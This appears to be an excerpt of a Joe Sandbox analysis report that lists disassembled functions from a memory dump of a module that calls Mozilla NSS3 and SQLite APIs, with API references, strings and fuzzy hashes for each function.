Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 31519F71A002029BEB148F6BDE48B66B3F5AF64358F254039DD55DBF61EB32E804CB91

Function 6C719C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C718850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C720715), ref: 6C718859
Part of subcall function 6C718850: PR_NewLock.NSS3 ref: 6C718874
Part of subcall function 6C718850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C71888D

PR_NewLock.NSS3 ref: 6C719CAD

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07AD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07CD
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C68204A), ref: 6C6F07D6
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C68204A), ref: 6C6F07E4
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,6C68204A), ref: 6C6F0864
Part of subcall function 6C6F07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6F0880
Part of subcall function 6C6F07A0: TlsSetValue.KERNEL32(00000000,?,?,6C68204A), ref: 6C6F08CB
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08D7
Part of subcall function 6C6F07A0: TlsGetValue.KERNEL32(?,?,6C68204A), ref: 6C6F08FB

TlsGetValue.KERNEL32 ref: 6C719CE8
EnterCriticalSection.KERNEL32(?,?,6C71ECEC,6C722FCD,00000000,?,6C722FCD,?), ref: 6C719D01
TlsGetValue.KERNEL32(?,?,?,6C71ECEC,6C722FCD,00000000,?,6C722FCD,?), ref: 6C719D38
EnterCriticalSection.KERNEL32(?,?,6C71ECEC,6C722FCD,00000000,?,6C722FCD,?), ref: 6C719D4D
PR_Unlock.NSS3 ref: 6C719D70
PR_Unlock.NSS3 ref: 6C719DC3
PR_NewLock.NSS3 ref: 6C719DDD

Part of subcall function 6C7188D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C720725,00000000,00000058), ref: 6C718906
Part of subcall function 6C7188D0: EnterCriticalSection.KERNEL32(?), ref: 6C71891A
Part of subcall function 6C7188D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C71894A
Part of subcall function 6C7188D0: calloc.MOZGLUE(00000001,6C72072D,00000000,00000000,00000000,?,6C720725,00000000,00000058), ref: 6C718959
Part of subcall function 6C7188D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C718993
Part of subcall function 6C7188D0: PR_Unlock.NSS3(?), ref: 6C7189AF

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 6ff5b5bdb51dcff77ae5d2ba7fbe3a6968886057a685e248a5dd4fd86369a2ee
Instruction ID: d2e74c426cf38bc6ede8cf96619a502fd68c050ad981e52b120e37d145e503cf
Opcode Fuzzy Hash: 6ff5b5bdb51dcff77ae5d2ba7fbe3a6968886057a685e248a5dd4fd86369a2ee
Instruction Fuzzy Hash: 3D519470A187059FDB00EF69C28965ABBF0BF54348F198539D8989BF11E730E845CBD1

Function 6C819EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C819EC0
EnterCriticalSection.KERNEL32(?), ref: 6C819EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C819F73
EnterCriticalSection.KERNEL32(?), ref: 6C819FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C819FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C819FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C81A01D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: eba704c88d005b6e57884a7466cbbac63f3f928c2a2d1475d3067e20a8894ec8
Instruction ID: 7d7f9ba3b631d0264fc366aaf576062ef4eea16a458dd8124c1f3d7a68659cc5
Opcode Fuzzy Hash: eba704c88d005b6e57884a7466cbbac63f3f928c2a2d1475d3067e20a8894ec8
Instruction Fuzzy Hash: C851DFB2904602DFCB209F25C58868AB7F0FF14318F15896AD85957F12E731F888CBD2

Function 6C70DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C70DCFA

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C70DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C70DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C70DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C70DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C70DD8F

Part of subcall function 6C7206A0: TlsGetValue.KERNEL32 ref: 6C7206C2
Part of subcall function 6C7206A0: EnterCriticalSection.KERNEL32(?), ref: 6C7206D6
Part of subcall function 6C7206A0: PR_Unlock.NSS3 ref: 6C7206EB

CERT_DestroyCertificate.NSS3(?), ref: 6C70DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C70DDB7

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 6b24a2faabd4a522642c5b9cddf9343c65dc7fc2a4a0e02c49aa52a79c972240
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 7C21ACF6F012169BDB019EA5DE469AFB7F4AF25318B140032ED08A7701F721E914CBE6

Function 6C795F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795F72

Part of subcall function 6C6FED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6FED8F
Part of subcall function 6C6FED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6FED9E
Part of subcall function 6C6FED70: DeleteCriticalSection.KERNEL32(?), ref: 6C6FEDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FCC
free.MOZGLUE(?,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FF4
free.MOZGLUE(?,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C795FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C796019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C79AADB,?,?,?,?,?,?,?,?,00000000,?,6C7980C1), ref: 6C796036

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 66b842c1de2ac14ec1aa2e1c4a1ba1f191a52370ab5ad1f67225fef0ddcba1a1
Instruction ID: 36c84561a8631d2d89150570f22e8da14aa1f55dc1382b1f09d4cf730b366980
Opcode Fuzzy Hash: 66b842c1de2ac14ec1aa2e1c4a1ba1f191a52370ab5ad1f67225fef0ddcba1a1
Instruction Fuzzy Hash: A1214DF1A04B009BEA619F75E848BD377E9AB4571DF100938E46AC7640EB76E019CBD1

Function 6C703C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C77460B,?,?), ref: 6C703CA9
EnterCriticalSection.KERNEL32(?), ref: 6C703CB9
PL_HashTableLookup.NSS3(?), ref: 6C703CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C703CD6
PR_Unlock.NSS3 ref: 6C703CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C703CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C703D03
PR_Unlock.NSS3 ref: 6C703D15

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: d51b37329585c367415842e59d339389aaf5385f20894a7b709e35774ff087fd
Instruction ID: 1d05e2d45fcd1058a1801796126e90232c206cb5c062ce68c67d3861ef5a600b
Opcode Fuzzy Hash: d51b37329585c367415842e59d339389aaf5385f20894a7b709e35774ff087fd
Instruction Fuzzy Hash: 071106BAF00115B7EB111B359D0ACAA3AB9EB1225CB154170EC1883711FB22D868C7D2

Function 6C709C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7211C0: PR_NewLock.NSS3 ref: 6C721216

free.MOZGLUE(?), ref: 6C709E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C709E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C709E4E
TlsGetValue.KERNEL32 ref: 6C709EA2

Part of subcall function 6C719500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C719546

EnterCriticalSection.KERNEL32(?), ref: 6C709EB6
PR_Unlock.NSS3 ref: 6C709ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C709F18

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 203d4b42c5953947a31484310a22cfa86b7c8ef7f95653eaf0cad0f44eb5c6d1
Instruction ID: 1c9cde160883964fe438bc514382091b018052660e36536e108538569f8cc270
Opcode Fuzzy Hash: 203d4b42c5953947a31484310a22cfa86b7c8ef7f95653eaf0cad0f44eb5c6d1
Instruction Fuzzy Hash: 7C81D5B2A04201ABE7109F34DE49AAB77E9BF6524CF184538EC5987F41FB31E918C791

Function 6C71DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(D958E852,6C721397,5B5F5EC0,?,?,6C71B1EE,2404110F,?,?), ref: 6C71AB3C
Part of subcall function 6C71AB10: free.MOZGLUE(D958E836,?,6C71B1EE,2404110F,?,?), ref: 6C71AB49
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(5D5E6C91), ref: 6C71AB5C
Part of subcall function 6C71AB10: free.MOZGLUE(5D5E6C85), ref: 6C71AB63
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C71AB6F
Part of subcall function 6C71AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C71AB76

TlsGetValue.KERNEL32 ref: 6C71DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C71DD0E
PK11_IsFriendly.NSS3(?), ref: 6C71DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C71DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C71DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C71DEA6
PR_Unlock.NSS3(?), ref: 6C71DF08

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: a2fc2ddf3890154efc5ccba583dea764f2cf54e7d2d658e6657dc368e6ca2f8f
Instruction ID: 5b7385d2e6f915d891f2435d8e46ca84084f02b914b44999ff150734bc3fda14
Opcode Fuzzy Hash: a2fc2ddf3890154efc5ccba583dea764f2cf54e7d2d658e6657dc368e6ca2f8f
Instruction Fuzzy Hash: A39102B5A041019FDB01CF68CA89BAAB7B5BF64309F194039DC189BF41E731E909CF95

Function 6C6D5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C7BBB62,00000004,6C824CA4,?,?,00000000,?,?,6C6931DB), ref: 6C6D60AB
sqlite3_config.NSS3(00000004,6C824CA4,6C7BBB62,00000004,6C824CA4,?,?,00000000,?,?,6C6931DB), ref: 6C6D60EB
sqlite3_config.NSS3(00000012,6C824CC4,?,?,6C7BBB62,00000004,6C824CA4,?,?,00000000,?,?,6C6931DB), ref: 6C6D6122

Strings

%s at line %d of [%.10s], xrefs: 6C6D60A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6D6095
misuse, xrefs: 6C6D609F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: ca52b3b6237fbac4e7f89417542c79360c1b96fb3b03601715a9cda08fcfa262
Instruction ID: 9f05679f929b0c61685c4b7d14c863709d44702eb17a67664100088c803228ba
Opcode Fuzzy Hash: ca52b3b6237fbac4e7f89417542c79360c1b96fb3b03601715a9cda08fcfa262
Instruction Fuzzy Hash: 24B17274E0464ACFCB54CF5CC6809A9B7F0FB1E308B458569D509AB322E778BA84CBD5

Function 6C684F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C684FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6851BB

Strings

%s at line %d of [%.10s], xrefs: 6C6851B4
unable to delete/modify user-function due to active statements, xrefs: 6C6851DF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6851A5
misuse, xrefs: 6C6851AF

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 1863835089ef6a3851b7ac0124cd2457a582058c13fbf910a80006a91c407abb
Instruction ID: 1072135d429a6882949201caef5d6261595f3bd03dd3fb2b84785209ccee8426
Opcode Fuzzy Hash: 1863835089ef6a3851b7ac0124cd2457a582058c13fbf910a80006a91c407abb
Instruction Fuzzy Hash: 6B71AE7560520A9FEB01CE55CD80BEA77B9BF48308F044528FD1A9BB81D731E854CBA5

Function 6C6F2D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C6F2D69

Strings

winUnmapfile1, xrefs: 6C6F2F55
winTruncate2, xrefs: 6C6F2EF8
winTruncate1, xrefs: 6C6F2EBE
winSeekFile, xrefs: 6C6F2E9C
winUnmapfile2, xrefs: 6C6F2F7F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 606de43b3cb799db3e862f19d1c27b07cd4bd4cc9a47b8c6d44faf8251966c03
Instruction ID: 961276c8755fd98f512dc2d16875b5176b2ce984099a806ed161c6bed8072669
Opcode Fuzzy Hash: 606de43b3cb799db3e862f19d1c27b07cd4bd4cc9a47b8c6d44faf8251966c03
Instruction Fuzzy Hash: 8761B171A002059FDB54CF64DC98AAA77B2FF89318F20853CE9199B780DB34AD06CF95

Function 6C76FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C76FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C76F165,6C83219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C76FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C76F165,?), ref: 6C7700A6

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 6666f66fb3836981768846a80c0e70cbf37c4193c8d99bd54c9332f95ec9208b
Instruction ID: 20700a3b96621df3159098ccd63bfce196c9b94ff8ff6748d06a9864e888291c
Opcode Fuzzy Hash: 6666f66fb3836981768846a80c0e70cbf37c4193c8d99bd54c9332f95ec9208b
Instruction Fuzzy Hash: 0B51F771E042599FDF208E59CA887AEB7B5FB49328F690139DD55A7B40D732AC00CBE0

Function 6C72DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C72DF37
EnterCriticalSection.KERNEL32(?), ref: 6C72DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C72DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C72E02B
PR_Unlock.NSS3(?), ref: 6C72E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C72E090
PR_Unlock.NSS3(?), ref: 6C72E0AF

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: a33d9be66bc323a8b65618a8ec25c9fbdde6eb60df736bd4e49911a1ee74e428
Instruction ID: badd53dd0af463370786f41a8633bf9ee45d62685f8b439b6a4ac6fca220c869
Opcode Fuzzy Hash: a33d9be66bc323a8b65618a8ec25c9fbdde6eb60df736bd4e49911a1ee74e428
Instruction Fuzzy Hash: DC51D2315006049FDB309F25CA48B66B3B5FF55319F204538E8AA47B91D739E849CBD2

